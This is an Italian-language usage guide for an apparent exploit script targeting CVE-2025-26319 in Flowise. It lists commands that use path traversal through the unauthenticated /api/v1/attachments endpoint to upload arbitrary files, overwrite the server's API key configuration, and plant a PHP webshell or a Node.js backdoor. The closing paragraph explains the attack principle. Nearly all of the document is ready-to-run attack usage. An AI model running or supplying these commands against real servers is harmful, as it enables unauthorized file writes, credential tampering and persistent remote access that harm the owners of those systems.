CVE-2025-26319

1. Caricamento di file di base python flowise_exploit.py -u http://target:3000 -f local_file.txt -d /path/on/server/file.txt
2. Caricamento di file di configurazione

Modifica della configurazione della chiave API

python flowise_exploit.py -u http://target:3000 -f new_api.json -d /root/.flowise/api.json 3. Genera e carica automaticamente una webshell

Carica una webshell PHP

python flowise_exploit.py -u http://target:3000 --generate-webshell php --webshell-path /var/www/html/shell.php

Carica una backdoor Node.js

python flowise_exploit.py -u http://target:3000 --generate-webshell nodejs --webshell-path /tmp/backdoor.js

Principio dell'attacco La rotta /api/v1/attachments è nella whitelist e non richiede autenticazione Path traversal manipolando il parametro chatId (../../../) Carica file arbitrari in qualsiasi posizione del filesystem del server